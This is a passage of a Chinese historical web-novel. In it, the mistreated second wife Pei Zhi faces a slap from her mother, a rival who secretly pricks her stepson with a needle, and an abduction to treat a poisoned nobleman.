方才他多看了那孩子一样,不过是在孩子的衣服上看见别了一个十分精致的小香囊。香囊里装的不是香料,而是一种很特殊的药粉。
只一眼,他就知道这药粉是有来头的。
这孩子天生不足,若不是身边有医术极高深的人在照料调理,恐怕是要早夭。
当然也仅仅是一眼罢了。二房什么心思,抱来的孩子是康健还是早夭,于他来说都无关紧要。
……
裴芷在佛堂中抄经,闲时写药丸方子。一日过得极快。
脸上的伤结了痂。这两日白玉桐也没拉着谢观南非要到佛堂中找她麻烦。她乐得清静,正好教梅心与兰心怎么熬药,怎么制药丸。
先前拿去济世堂的药丸也换了一百多两,刨去其他的耗材,能得八十两纯利。
裴芷拿了十两分给了梅心与兰心。
两个丫鬟十分高兴。梅心道:“要是多接点单子,我们就发财了。拿了钱去买房置地也能过得很安稳。”
裴芷清丽的面上浮起淡淡的笑容:“哪能那么容易。这么大方的贵客可不常见。”
梅心却很乐观:“少夫人不知道。奴婢去济世堂交药丸,掌柜的说那位贵客很是信少夫人做的药丸,还说再给方子让少夫人做。”
裴芷笑了笑,低头专心挑拣药材。
医术是她合离的底气。就算娘家不收留她,她也可以去城郊买块地,建一处院子,关起门与梅心兰心过日子。
运气好点的话,求了济世堂的掌柜,让她去坐诊。然后将诊金都存下来,也是一条生计来源。
总有一口饭吃。
她很乐观,并不觉得离了谢家,天大地大没有容身之地。
主仆正说话,北正院派了下人来传话说:“少夫人娘家老夫人来了,二夫人请少夫人前去见一见。”
裴芷手中的药篱突然掉在地上。刚才还高高兴兴的梅心与兰心笑容瞬间僵住,两人忧心看向裴芷。
好一会儿,裴芷定了定神,拢了拢发髻:“知道了。”
……
北正院中,二夫人秦氏正坐在上首与裴母亲苏氏说话。
裴母苏氏年约四十出头,一身半旧不新的锦缎褂子,头上却簪着沉甸甸的两枝八宝金簪。
她发间有些许的白发,五官秀丽,能看出年轻时是一位模样不错的美人。只是如今美人迟暮,又家道中落被打击了一番,面上有愁苦之色。
只是终究从前是官宦之家出身,一身气度还在的。
说话举止间依旧利落且严肃。
裴母苏氏让人拿上一盒盒用红封封好的礼盒,道:“……今日贸然拜访实在是过意不去。只是家中老夫人说为了子孙计,还是得回京城中落脚。不然几个侄儿读书是个大麻烦。”
秦氏看了一眼礼盒,瞧见了是什么山参燕窝寻常补品,眼底略过轻蔑。
她皮笑肉不笑:“哦,原来是要决定搬回京中。这挺好的,亲家就是要近些好。不然有什么事都无法通气。”
裴母苏氏往她身边看了看,问:“恒哥儿呢?许久没瞧见恒哥儿,我这做主母的真是想得紧。”
秦氏拿了帕子按了按眼睛,叹气:“恒哥儿又病了……”
说着唉声叹气。
裴母苏氏脸色变了:“怎么的又病了?是着了凉还是吃坏了肚子?找大夫了吗?用药了吗?”
她一连声问,却没人回她。
秦氏只是唉声叹气,让裴母苏氏问得急了,干脆抹起了眼泪。
裴母苏氏越发急了,忍不住站起身:“到底是怎么个回事?芷儿呢?”
她突然恍然大悟:“是不是芷儿没照顾好恒哥儿?她在哪儿呢?我来了这么久了,她为何还不来见我?”
樊嬷嬷阴阳怪气道:“亲家老夫人别急。恒哥儿生病与少夫人无关,她最近几日都没带恒哥儿,一应琐事都是我家夫人亲自料理。唉……家门不幸啊。”
裴母苏氏脸色变了:“她不照顾恒哥儿是为什么?难道她躲懒?”
秦氏见她变了脸色,叹气:“亲家母不要怪罪小裴氏。她还年轻,又因为恒哥儿终究不是她亲生的。她不愿意照顾恒哥儿很正常。”
裴母苏氏脸色阴沉下来,手紧紧扯着帕子。
半天,她问:“人呢?怎么还没来?”
秦氏朝着樊嬷嬷使了眼色。
樊嬷嬷立刻道:“老奴这就去催一催。唉,少夫人这些天也没来给老夫人请安,老夫人也不敢去说她。”
“这做儿媳的,这般大胆也是第一次见识到。”
裴母苏氏如何听不出这是下她的面子。面上顿时阴云密布,抿紧了唇不说话,手边的茶盏更是动都没动。
过了一盏茶功夫,才听见有人说少夫人来了。
……
裴芷到了北正院中,就瞧见樊嬷嬷幸灾乐祸站在屋门口。
樊嬷嬷故意大声道:“少夫人来了,我们可等少夫人许久了……”
裴芷进了屋子,婆母秦氏正与裴母苏氏说话。
她上前福了福给秦氏请安,然后走到母亲苏氏面前:“母亲怎么来了?”
裴母苏氏定定瞧着她半晌,突然一伸手“啪”的一声重重扇了她一个耳光。
满屋子都静了一瞬。
裴芷被打得脸偏了过去,头发都乱了几缕。一个很明显的巴掌印慢慢从脸颊上浮现出来。
唇角也因为巴掌的力道,缓缓流出一缕血。
秦氏愣住,满屋子下人也是一愣。虽然知道裴家主母苏氏性子急又烈,但没见过这样不给亲生女儿留颜面的。
裴芷缓缓抬头,明眸沉静,看着盛怒的母亲。
第23章 她的难为
裴母苏氏那一下子打下去,满肚子的火气消了,但畅快之后回过神发现裴芷用那种眼神盯着自己。
心里一下子有点慌。
自己这个二女儿与早逝的大女儿脾气很是不同。从小就乖顺,不争不抢,但越是这样,她越是觉得拿捏不了。
不过慌乱只是一时,她厉声呵斥:“你瞧我做什么?!你干的好事还不兴母亲教训你了?”
“给我跪下!”
裴芷擦去唇边血迹,平静问:“母亲为何生气责打?女儿不明白,还望母亲告知。”
裴母苏氏怒气再次升起。她厉声道:“恒哥儿又病了!你为何不照料他?难道你忘了你当初怎么答应过你姐姐了吗?”
提起早逝的大女儿,裴母苏氏越发觉得心痛。
她红着眼怒视裴芷,十分痛心:“你可是发过誓的。你怎么对得起她?!”
裴芷静静听着母亲的怒叱。
良久,等裴母苏氏说完,裴芷看向坐在上首看戏的婆母秦氏:“婆母,您是这么与我母亲说的吗?说我没有照料恒哥儿?”
秦氏愣了下,不自然轻咳:“哎呀,都是小事。亲家母怎么突然生那么大的气?”
裴母苏氏厉声道:“若不是她偷懒耍滑,恒哥儿怎么会生病?亲家老夫人不用替她遮掩。”
秦氏略有心虚看了一眼裴芷。
“不是,亲家母不要生气了,有什么话好好说。”
裴芷:“婆母,刚才的话您还没回我母亲,您是与我母亲说我没有照顾恒哥儿吗?”
秦氏:“……”
樊嬷嬷站出来,冷笑:“小裴氏,你就是没照顾恒哥儿,这事难道你有什么可辩解的?我劝你乖乖跪地向老夫人请罪。让你母亲也消气。”
裴芷没理会她,只是盯着秦氏:“婆母,我已是第三次问您了。为何您要顾左右而言他?为何污蔑我不照顾恒哥儿?又把恒哥儿生病的事栽到我身上?”
偌大的屋子静了一瞬。
秦氏的脸挂不住了,轻咳一声:“你说什么呢?我何时把这事怪罪在你身上了?”
樊嬷嬷厉喝:“小裴氏,你是这么与二夫人说话的?还不跪下?”
裴芷眸光冷然看向樊嬷嬷:“嬷嬷,我与婆母说话。你不要随意插话,不然让旁人笑话谢府毫无规矩,纵得刁奴欺主就不好了。”
樊嬷嬷脸涨得通红,气得差点仰倒。但她又不敢在大声呵斥,毕竟她真是奴,裴芷才是正儿八经的主子。
谢家是百年世族,最重视尊卑。认真追究起来樊嬷嬷讨不到半分好处。
裴母苏氏这时候再蠢也察觉到了不寻常,心下也后悔自己不问青红皂白打了人。
她去拉裴芷,一扯之下却扯不动。
裴母苏氏压低声音:“你在这里闹什么?”
裴芷回头挥开裴母苏氏的手,嗓音冷冷的:“母亲觉得是女儿闹?婆母还没说话呢。若是婆母说了是我的错,您一会再打也不迟。”
“总归丢脸就一起丢。母亲您不怕,我自然也是不怕的。”
裴母苏氏一噎,像是看陌生人似的瞧着面前的裴芷。她从不知道这个总是温顺的二女儿竟然说话如此犀利。
她突然觉得自己刚才干了一件天大的蠢事。
秦氏见自己再也糊弄不过去,撑起笑脸:“刚才是你母亲听岔了,我哪里说是你不照顾恒哥儿。你这几日在佛堂抄经祈福,自然顾不到。”
“恒哥儿体弱多病。小孩子生个小病什么的,很是正常。”
她对裴母苏氏歉疚道:“亲家母你瞧我这脑子,光顾着担心恒哥儿的病,都没与你说清楚。都是我的错,哎,你们瞧这事搞的。”
裴母苏氏皱眉。
刚才她一连串问恒哥儿到底怎么生病了,没人回她。秦氏更是说一些让她误解的话。况且,刚才她们说的不就是因为裴芷不肯照料孩子,所以孩子才生病的吗?
裴母苏氏看向裴芷,埋怨:“你个死丫头刚才怎么不说?”
说着她就要去握裴芷的手:“好了,母亲难得来一回看你。我们下去说话。”
裴芷淡淡的,坚决地将她的手拂去,嗓音冷冷的:“母亲一上来就扇了女儿巴掌,也没有机会让女儿辩解。”
裴母苏氏:“……”
她面上浮起恼怒:“怎么?你现在怨恨母亲打了你?”
裴芷依旧冷淡的:“不敢。只是有些事若不说清楚,不知道会被编排成什么样。”
裴母苏氏脸色一阵青一阵红,气闷地坐回椅子上。
秦氏打圆场:“好了,事情说清楚就好了。你母亲远道而来看你,慈母之心你可要多体谅才是。坐吧,坐吧。”
有人去拿椅子。
裴芷却不坐,清清冷冷站在堂中央。
“还有些话要说清楚才是。正好我母亲远道而来,一起听听,也算是做个证。”她不卑不亢道,“先且问我嫁入谢府是我求着嫁进来,还是当时母亲与二爷软硬兼施,非要我替姐姐来照顾恒哥儿?”
秦氏一怔之后,隐约知道裴芷要算总账,面上沉沉:“这个时候提旧事做什么?”
“当然要提。若是不提,还当我裴芷贪图了谢府什么非要当了这个续弦夫人。”裴芷看向裴母苏氏,“母亲,你当时把我关进柴房三天三夜,非要我亲口应了这事。是不是?”
裴母苏氏黑了脸:“你,你这是什么意思?当年的事我可委屈你了?谢府的门楣那么高,你嫁进去难道委屈了你?再说观南翩翩郎君,配你难道辱没了你?”
“好过那个沈家……”
她猛地住了口,像是提起了万万不该提起的事。
裴芷:“谢府那么好,谢郎君那么好是人家的事。”
“既然这事原先就是我替姐照顾恒哥儿,如今怎么又成了恒哥儿就是我的事?难道他不姓谢?难道他不是谢家的儿孙?平日照料不周为何全怪我身上?”
“我入了谢府三年何时不曾尽心尽力?恒哥儿为何这几日没在我身边,母亲可问过婆母是为何?”
裴母苏氏脸色极难看。
她当然没问,因为本就认为裴芷就该全心全意周全照顾。却不想,如今想来原来都是强加给她了。
第24章 再次失望
秦氏打断:“好了,小裴氏,我知道你平日尽心尽力,受了委屈,不要为难你母亲了。”
裴芷没理会,继续道:“我去佛堂之前就与婆母说清楚,恒哥儿已经六岁了,身子康健不少,该启蒙了。婆母也是亲口答应了。现如今才过了几日,婆母难道就忘了?”
裴母苏氏愣住,吃惊问:“六岁了,还没启蒙?”
秦氏面色难堪:“不是,这几日在找名师了。一直在找呢……”
裴母苏氏此时已明白了事情的来龙去脉,一边恼恨秦氏不坦荡,一边恼恨自己不问青红皂白让人当了枪使。
她上前拉住裴芷的手,低声道:“好了,母亲知道你生气,你委屈,我们下去好好说……”
裴芷再次拂去她的手,眉眼间皆是失望:“母亲不会改的。若是从前我为了两家的交情,想着都是一家人,受点委屈也就受着了。这才让母亲觉得我是好脾气好拿捏的。”
“至于婆母的心思,我就不便猜了。总之我说清楚了,恒哥儿如今不归我教养,以后什么事不顺心不要再拿我做了替罪羊。”
一席话说得众人脸上热热的。
仔细回想,的确是自从裴芷嫁入谢府后一直精心照料恒哥儿。把猫儿似的小孩子照料到了现在能跑能跳。
她从不喊苦喊累,众人都习惯了,却没想到她从未做过母亲,已经尽了力。却最后得到的是无端指责与不问青红皂白的巴掌。
秦氏轻咳:“哎,都怪我。亲家母这个……”
裴母苏氏突然问裴芷:“你为何不继续教养恒哥儿?你想干什么?”
秦氏心中“咯噔”一声。裴母苏氏这话倒是点醒了她。
是啊,裴芷从前伏低做小,恨不得一颗心都要掏给这个家和恒哥儿。为什么突然不做了?
裴芷看着母亲苏氏狐疑的眼神,心中黯然轻叹。
总归是亲母女。
旁人察觉不到的,母亲大约是猜到了。
裴芷正要开口说和离的事。屋外下人打帘子进来,笑道:“禀夫人,二爷和白家小姐来了。恒哥儿也抱回来了。”
秦氏皱眉:“恒哥儿身体还没好,他们抱出去玩做什么?”
帘子又一撩,谢观南与白玉桐手牵手走了进来,身后的乳母怀中抱着脸红彤彤的恒哥儿。
“母亲……”
谢观南的声音戛然而止,因为他瞧见了堂中站着的裴芷,还有许久没见过的岳母苏氏。
裴芷目光轻轻落在他们交握的手上,对裴母苏氏道:“女儿先退下了。”
说完,她福了福身,转身要走。
面前人影一晃,白玉桐挡在了她面前,笑吟吟的:“裴姐姐这是怎么了?怎么见了我就要走?”
裴芷眸光落在她身上。
今日的白玉桐依旧是容光焕发,打扮得极其富贵。她身上是簇新的蜀锦做的薄袄,头面首饰换了一副新的红宝。
宝石熠熠闪着光,十分醒目好看。
白玉桐见裴芷脸上的巴掌印,捂住嘴,惊讶:“裴姐姐这是被谁打了吗?”
她看向谢观南:“观南哥哥,你瞧裴姐姐被打了。这是做错什么事被责罚了吗?”
谢观南此时才发现裴芷玉雪似的脸上浮现巴掌印。
她没哭,玉雪似的面上神情冷静,但眼眶是红的,眼梢也染了红,看起来楚楚动人。
他张了张口想安慰,不知怎么的却冷声说:“她这般脾气不好的人,挨打是活该。看她还能张狂不成?”
裴芷一愣,抬起眼定定瞧着面前这一开口就贬损自己的夫君。
早就麻木的心又一次被刺痛。
他明知道的,明知道她极重体面,却一次次不给她尊重。
谢观南说出口就有些后悔,但他心底还是想给她一个教训。想着私下若是她再生气,再想办法哄一哄吧。
于他而言,当着众人的面他的斥责是应该的,而她受着便是。不然怎么叫做“夫为妻纲”呢?
裴芷无言看了他良久,继而看着白玉桐:“白小姐,让开。”
白玉桐一愣。
她突然拉住裴芷:“裴姐姐,我说错话了吗?是不是你还在生气之前我不小心伤了你的事?”
裴芷没吭声,只是冷眼看着她演戏。
裴母苏氏不明白这白家小姐是什么人,但是亲眼瞧见她与谢观南态度亲密走来的。她心里隐约慌了慌。
谢观南难道想纳妾?而自己女儿失宠了?
她赶紧去拉扯裴芷:“芷儿你怎么能这么说话?快向你夫君道歉。”
说着,她对谢观南赔笑:“姑爷今日是去哪儿玩了?恒哥儿也跟着去是不是?快些让我看看恒哥儿。”
她说着要去抱恒哥儿。
白玉桐突然伸手将恒哥儿抱在怀里,笑道:“这位是恒哥儿的外祖母是吧?如今恒哥儿与我好,生人抱他都不肯呢。”
说着她去逗恒哥儿:“是不是啊,恒哥儿和玉桐姐姐天下第一好是不是?”
恒哥儿还小,不太认得裴母苏氏。
他瞧见了裴芷,伸手要她抱:“母亲,我要母亲……”
白玉桐脸色顿时沉了沉,口中却说:“哎,恒哥儿要裴姐姐呢。”
说着,她要将恒哥儿递给裴芷。
裴芷一动不动,只冷眼瞧着她把孩子往自己的怀里塞。就在她要递过来的一刻,裴芷侧了身。
“我身上有佛香,乳母来抱吧。”
白玉桐的脸色沉了下去,忍不住问:“裴姐姐这是连恒哥儿都不管了吗?你未免也太狠心了。”
裴芷不为所动。
裴母苏氏心疼外孙,接了过去:“我来抱……”
白玉桐脸色变了变,突然恒哥儿“哇”的一声大哭:“疼,疼……”
这一声哭嚎将旁边的人都吓坏了,乳母慌忙去抱。
恒哥儿本来就不舒服,突然受痛哭嚎了几声一下子吐了出来。把今日吃的喝的全吐了出来。吐的东西里都是嚼碎的山楂。
秦氏心痛,急忙去抱,可恒哥儿在她怀里哭得越发凶。
众人不知所措。
谢观南一脸担忧。他知道儿子这两日着凉不舒服,本不想带他出去吹风,但白玉桐说了想带孩子出去一起逛街。
他这才让乳母抱了孩子一起出去。游玩了半日,恒哥儿明显看出不舒服,这才匆匆回来。
只是回来怎么就又哭又吐了?
他瞧见裴芷在旁边看着,竟也不动手上去安抚。
一股无名火直冲脑门,他低喝:“小裴氏,你做什么在旁边看着?还不赶紧抱抱恒哥儿!”
第25章 瞧不起她
裴芷看了他一眼,很是平静道:“恒哥儿肠胃极弱,吃山楂会呕吐胀气,二爷不知道吗?就算二爷不知道,乳母应该会与二爷说清楚的。”
谢观南猛地心虚。
乳母的确是说过,但他觉得不打紧,没想到孩子还是吐了……
“孩子如此哭叫,分明是有了皮外伤。二爷让人找找他身上吧。”说完裴芷越过谢观南,转身离开了这地方。
裴芷到了佛堂,在脸上擦了擦消肿的药膏,跪在蒲团上默默念经。
尘世太脏,这佛堂一方清净竟是如此难得。
北正院那边传来消息,在恒哥儿身上找到了一根银针,扎入了肉几乎快三寸了。
也不知道谁那么心狠,竟然对一个小孩子下手。秦氏发了大怒,将恒哥儿身边伺候的下人打了个遍,还是找不到扎针的人。
最后将乳母打得皮开肉绽,逼得她承认自己扎了恒哥儿。这才将她丢出去府外,对外就说是刁奴害主。
梅心心有余悸:“乳母伤成那样,怕是活不了了。”
裴芷闭了闭眼,心中越发寒了。
小小的案子都断的这么糊里糊涂,所谓的百年世家,家风严谨,满门清贵,也不过如此。
若是她接了恒哥儿,那根银针的罪过怕是要跟定自己了。也亏多了一个心眼,信不过白玉桐递过来的任何东西,哪怕是小娃娃。
裴芷问:“我母亲走了吗?”
梅心摇了摇头:“二夫人留了她用晚膳,恐怕晚点夫人要来寻少夫人说话。”
裴芷默默垂下眼帘,淡淡道:“若是母亲来了,就说我不见。”
梅心叹了口气,不敢劝。
下午在北正院,裴母苏氏那一巴掌当众打掉的不仅仅是裴芷的脸面,更是两人本就极单薄的母女情分。
晚膳过后,裴母苏氏果然来了佛堂。
梅心拦了下来,只说裴芷身子不适。
裴母苏氏皱眉,问:“她当真是身子不适?”
梅心硬着头皮:“是的,少夫人本来身子就不太好,佛堂清冷,少夫人着了凉……”
裴母苏氏犹豫了片刻,道:“那让她养着吧。你与她说老夫人说要搬回来住。让她有空去府上瞧瞧,还有我信中与她说的事她一定要放在心上,让她着力去办。……”
她细细吩咐了许多事,这才离开。
梅心回头却见一身素衣的裴芷依在门边,神情寂寥。
朦胧的暮色中,看不清楚她如画眉眼,只觉得这天的荒芜分了三分落在羸弱的肩上。
一瞬,梅心突然想起来刚才裴母苏氏吩咐了许多事,没有一件关心裴芷脸上的伤,也没关心她身子好不好。
什么都没有。
这些人都一个样,事事需要她,又眼里半分都瞧不见她。
北正院忙得天翻地覆,直到快深夜才算安稳。
秦氏的脸色青白,又惊又怒又无奈。已经是十分宝贝照顾恒哥儿了,还是三天两头出事。
真怕有天恒哥儿会被折腾没了。
一想到这个,秦氏心急如焚。恒哥儿是她第一个孙子又是未来的希望,万不可以让他出事。
谢观南面色疲惫走来说一切都安顿好了。
秦氏喊住他:“你和小裴氏现在如何了?怎么觉得小裴氏好像变了个人似的。”
今天她想趁着裴母苏氏来,狠狠拿捏她一下,结果反而闹了自己一个没脸。裴芷的反应让她又惊讶又心虚,有种无法捏在掌中的慌张感。
谢观南又累又烦躁,却也不敢说太多让母亲烦心。
如果说裴芷最近和他提和离,恐怕又是一番鸡飞狗跳满脑门官司。再者,他也不乐意在母亲面前显得自己拿捏不了一个深宅妇人。
裴芷提出和离也有可能只是因为她在与他置气。
决计不可能是真的想这么干。所以也不会拿这事在母亲面前小题大做。
谢观南淡淡道:“她兴许只是心里有气,还没消罢了。我寻个机会好好哄她就没事了。”
秦氏松了口气:“那就好。小裴氏向来温顺,又极爱重你。你这两日也不要到处带着玉桐与她见面了,多去与她说点好话。”
“若是她还是没消气,把恒哥儿抱过去,她只要看着恒哥儿就心软了。”
谢观南没搭理秦氏的话。
今日看见裴芷瞧着他的眼神,宛若陌生人似的。如果她真的还爱重他,怎么会和他置气这么久?
有一瞬,谢观南怀疑裴芷若已经对他没有了情分。
想着,又觉得万分不可能。他心中摇头,自己这位小妻子怎么会不爱他呢?刚开始成婚时,她可是日日都盼着他与她多说两句话。
少女眼中的敬重与爱慕不能作假的。
母子两人各怀心思,一时间不约而同沉默着。
白玉桐眼眶红红的走来,一进来就委屈哭了起来。她本就做惯了柔弱姿态,每次哭起来又梨花带雨,甚是可怜的样子。
秦氏愣住:“怎么了?”
白玉桐哭泣道:“表姨母,我明日还是走吧。这里我是待不下了。”
秦氏听了头愈发疼了:“你先别哭,到底是怎么了?”
白玉桐这才说了。原来她刚才听见北正院有下人背后偷偷说,是她往恒哥儿身上扎针。那个乳母原本老实本分,遭了无妄之灾。
秦氏面色一僵,心中也有点惴惴不安。
谢观南蹙眉:“哪个胡说的?你指出来我自去罚他们。”
“观南哥哥,别这样。”白玉桐摇头,抹泪道:“只要观南哥哥相信我是无辜的就行。我怎么会有这么恶毒的心思?一个下午我抱了恒哥儿好几次,他都不曾哭泣。我……我真是有口难言。”
谢观南赶紧安慰她,秦氏在旁边也出声安慰。
一直劝说了大半天,白玉桐这才破涕为笑,由丫鬟扶着回了绛雪阁。
谢观南:“母亲,这院子的下人实在是不像话,得抽空好好整治一番了。”
秦氏皱眉:“若不是乳母的话,那是谁?”
谢观南愣住,这个问题他没想过。一瞬而过时,他几乎脱口而出是不是裴芷心怀嫉妒,故意拿了针往恒哥儿身上扎。
但今日众目睽睽之下裴芷没碰过恒哥儿一根指头。而裴母苏氏那么心疼外孙,又远道而来不可能偷偷藏着一根针。
难怪北正院下人会猜测是白玉桐。也只有她最有机会……
一想到这个可能,谢观南只觉得胸口好似被锤子锤了下,闷闷的,极其难受。
他宁可想是恶毒的下人做的手脚,都不愿相信是心目中柔弱纯洁,天真可爱的玉桐妹妹做的。
第26章 踏脚石
秦氏心里也不敢信是白玉桐做的。但如今回想起来,只有白玉桐嫌疑最大。
她含糊轻咳一声:“都是那些下人胡乱说的,也许是照顾的丫鬟不小心把针留在小衣上,也有可能的。”
谢观南长吁一口气:“应该是这样。必定不是玉桐妹妹。她如此善良,与那等心机深沉的深宅妇人是不一样的。”
是的,怎么可能是柔弱又善良的玉桐妹妹呢?
只有裴芷后娶进门的继室,生怕恒哥儿夺了她将来孩子的宠爱,才会如此恶毒。
想到此处,谢观南心下越发厌恶。
本想拿子嗣的事安抚裴芷,现如今他决定让她在小佛堂中多待几日,好好思过再让她回清心苑。
……
佛堂冷清,在黑夜里阴森森的十分吓人。
裴芷瞧见了特地来的白玉桐,面上淡淡的:“白小姐特地来这,又要与我说什么?”
白玉桐扫了眼简陋至极的佛堂,轻笑:“那针是我扎的。”
裴芷眸光微闪,直直看定白玉桐。
白玉桐柔媚的脸上带了天真的笑意:“可是我与观南哥哥说不是我,他就信了。连着二夫人也是信了我。压根不需要我百般辩解,也不需要证明自己无辜。”
“你觉得这是什么?这足以证明观南哥哥还是心里有我的。而你,拿什么与我比呢?”
裴芷沉默。
白玉桐眼亮晶晶的,是裴芷从未见识过的野心。
“你如今的谢府二夫人位置是我让出来的,你姐捡了便宜,又你捡了便宜。但是,终归都得还给我。”
“识相点,赶紧自请下堂。或是当那木头泥人,什么都不要碍着我与观南哥哥。”
白玉桐对她嫣然一笑,转身离开了。
裴芷看着她的背影,摇了摇头。
白玉桐今夜前来不单单只是为了说那一堆无用的废话。她是光明正大朝着她下了战书。
在白玉桐心中,觉得自己是千娇百宠,万人追逐的贵女。从前随父被贬锦州,不过是时运不济罢了。
她期待用一场酣畅淋漓的胜利,让裴芷成为她风光回京路上的踏脚石。
至于踏脚石是死是活,她压根不会放在心上。
……
裴芷在佛堂中抄了经,又改了好几张寻常贵人需要的药丸方子。
如今要用银子,她想做一批贵人们寻常需要的药丸让济世堂的掌柜拿去卖。
比如老人体虚气弱,神困身乏,就做点补气养神的药丸。若是贵妇人求药的话,便做一些服用的补血养颜的药丸。又或可以做点跌打药粉和药酒,专门卖给行商的商贾或贩夫走卒们。
这些东西不知道做出来会不会热卖,但好歹值得尝试一番。
若是能有一种药卖得好,就能攒下更多的银钱。
银钱越多,底气才会更足。而她也不会再为了母亲的偏见与薄情而伤心,也不会对谢观南再抱有不切实际的希望。
以母亲的脾性,恐怕她和离之日就是断亲之时。
而谢观南……裴芷眼中蒙上一片荫翳。
他心里从未有过她,所以她也不用再为他的无情伤心。
一直忙到快深夜,兰心过来催促裴芷几次这才梳洗更衣上了床。
忙了一天,裴芷很快沉沉入睡。
到了半夜,突然一阵喧闹呼喝还有人大喊“走水了,走水了!”。裴芷被惊醒。梅心与兰心与她是睡在一处的,赶紧起床查看。
过了好一会儿,梅心进来:“是大房那边宅子走了水。已经扑灭了。”
裴芷蹙眉。
这几日春雨连绵什么都是湿漉漉的,怎么会走水呢?
这个念头也不过想了想就放到脑后。
大房的府邸与其他几房的府邸只连着后面一片。她这佛堂因为太过偏僻,也只有一条小道能到松风院。其余的地方隔了好几道门院,井水不犯河水。
所以大房那边起了火,很难蔓延到这边。
裴芷慢慢又睡了过去。
也不知睡了多久,她突然毫无预兆睁开眼。手下意识去摸身边的梅心,摸到是温热的躯体。
裴芷慢慢松了一口气。
屋子很黑,外面半分光线都没有,整个人像是沉溺在黑漆漆的深海中,看不见也听不见。
她伸手推了推:“梅心?”
身边的梅心没有反应。她急忙再去推,忽地有一道黑影朝着她扑了过来……
……
裴芷双眼被一条黑布蒙着,身子动弹不得。鼻间是一阵阵甜腻又腥臭的血腥味。又夹杂着许多药味。
有人在房中紧张来回走动,又有人低声说着什么。
四周很安静,但又好似很多双眼睛在暗处盯着。
裴芷动了动手腕,手腕被布条绑着,也不知道是怎么个绑法,动了几下越发紧了身上因为紧张而起了一层汗,汗涔涔的,冷风一吹身上起了鸡皮疙瘩。
不知过了多久,有人走来,嗓音冷厉:“今夜之事若是你泄露了半个字,不但你要消失,你旁边的人都得跟着消失!知晓了吗?”
裴芷被塞了布团,只能点了点头。
一只手将她覆眼的黑布扯落,随后为她解开了手腕和脚上的禁锢。
刚才说话的那人面容也露了出来,是奉戍。
奉戍盯着她:“二少夫人,今晚得罪了。”
裴芷深吸了口气,眨了眨眼让眼睛尽快适应烛火。
她已经到了一个陌生的卧房中,四周窗户都挂着黑布遮着光。
而她最前面的床榻上,帷帐低垂,一位身披玄色黑绸长袍男子正捂着腰腹间染了血的伤,冷冷盯着她。
那男子容颜极尽俊魅妖冶。脸色却苍白,薄唇上透着不正常的黑紫。
身上的袍子松松系在身上,微开的领口显露出一片如雪似的胸前肌肤。能看出男子肌肉极匀称结实,宽肩狼腰,往下袍子勾勒出同样肌肉虬扎的大腿。
偌大的屋子,温暖的烛火,唯独驱散不了男人身上若有若无弥散开来的煞气。
他就孤单单靠在床榻的软垫上,面上带着寒气,极冷淡地盯着她。
烛光照在他脸上,唯独照不亮他那极具压迫感的眉眼上。
裴芷快速与他对视一眼,垂了眼帘。悄悄地,她捏紧了长袖一角。
谢玠目光落在床前柔弱纤瘦的女子身上。
她的脸眉眼如画,肤色雪白。特别是那双大而幽深的眸子,是别的女人身上没见过的沉稳。放在腰间的一双手极白,手指细细得像葱段似的。
她太纤弱了,单薄的素衣显得空荡荡的。但她瘦得极其好看,纤瘦如竹,柔弱纤细的身段犹如雨后翠竹,自有一番别样的风雅与傲骨。
忽地,心中冒起一个荒谬的念头。
不知道亲手折断纤纤傲骨是什么样的滋味。
谢玠幽深的眸光微闪:“你是小裴氏,裴芷。”
嗓音沉郁清冷,宛若金石交击,是天生高高在上的贵气。
他深邃至极的眼中是无法透的冷意,问:“你在看什么?”
裴芷收敛了惊惧的容色,在男人迫人的目光下后退一步,规规矩矩行了一礼。
“见过大爷。”
“我瞧着大爷好像中毒了。”
第27章 还要继续?
谢玠垂下眼眸:“既然看出我中毒了,你可会解毒?”
问完,他蹙眉捂住了胸口,面上浮现淡淡的黑紫之气。
裴芷犹豫,这话她实在是不好接。
奉戍上前盯着裴芷,满脸狐疑:“这药丸是不是你做的?”
说着,他将一个瓷瓶丢在她脚下。
“以为你这药丸多少有祛毒的功效。岂料才吃了三日,毒不但没解,大人今晚还吐了血!”
奉戍说着已经起了杀心。
若是她回的话错一个字,他不介意将她诛杀当场。就算是二房二爷的续弦夫人又如何?天下间还没有伤了他主公,还能全身而退的人。
裴芷看着手中的瓷瓶,只觉得眼熟。她并不急于回答,而是拔了软木塞子闻了闻。
摇头:“这药丸没有被人做手脚,只是药性不是治大爷身上的毒。”
“它有祛毒的功效,但却不是什么毒都能祛。况且这药丸还有补血之功效,大爷有外伤,补血之物只会让伤口久久不能愈合。”
奉戍将腰间拔鞘的剑身慢慢按回了剑鞘,问:“大人的毒你能解否?”
裴芷神情平静:“能。但是奉戍大人请让一让。”
“你挡着我,我无法上前诊脉。”
奉戍:“……”
“奉戍,让她进来。”
淡漠的嗓音冷冷传来,带着不容抗拒的压迫感,像山似的。
奉戍犹豫片刻,移开了脚步。
裴芷看了一眼谢玠,低了头自顾自去做诊脉前的准备。
她扎起了长袖,在木盆中用清水很仔细洗了手。
从皙白的手指一直到嫩藕似的小臂,用胰子洗得分外干净。奉戍看了一眼便别开眼去,不敢多看。
他心中焦急万分,可偏偏裴芷动作慢吞吞的。一双手洗了三遍。好不容易洗完了,又拿了架子上干净的巾帕擦干双手。
直到擦得手掌与小臂红彤彤的,才又慢吞吞走到了谢玠的床边。
“大爷请脱了上衣,让我瞧瞧伤口恶化成什么样了。”
奉戍听得眉心直跳。好几次都想抽出长剑架在这女人细嫩的脖子上,逼她快些。
谢玠眸色冰冷,看着面前的小女人。裴芷从惊惧到从容不过是几息而已,现竟然敢命令他。
裴芷见他一动不动,疑惑抬头看了他一眼。
许是以为谢玠没听清楚,她轻声解释:“先看伤口再诊脉。望闻问切,望是第一步。”
谢玠不语,一伸手就解开了腰间松松垮垮的带子。
带子落地,肌肉结实匀称的胸膛直直撞入裴芷眼帘。肩膀宽阔,胸肌结实,肌肉线条极其优美顺畅,看得出藏了男子恐怖的力量。往下是一道道犹如搓衣板板似的结实腹肌。
眼前男子坦陈的上身,足以让人看得眼热心跳,遐想连篇。
裴芷呆呆看着,一瞬忘了言语。
男人是这样的身子吗?
她情不自禁与夫君谢观南对比,稍稍回想脑子印象却是模糊的。
记得刚入门那一夜本该圆房,恒哥儿却发了高热。新婚夜变成照顾病孩的忙乱,一直到恒哥儿好转,已经是一个月之后了。
而后圆房,两人也只是交差似的匆匆忙忙,甚至都不知道圆了没。
谢玠见裴芷呆愣盯着自己瞧,也不知道在想什么,素白的脸由白渐渐染成了红色。
薄唇缓缓勾起,嗓音低沉:“还要继续,脱吗?”
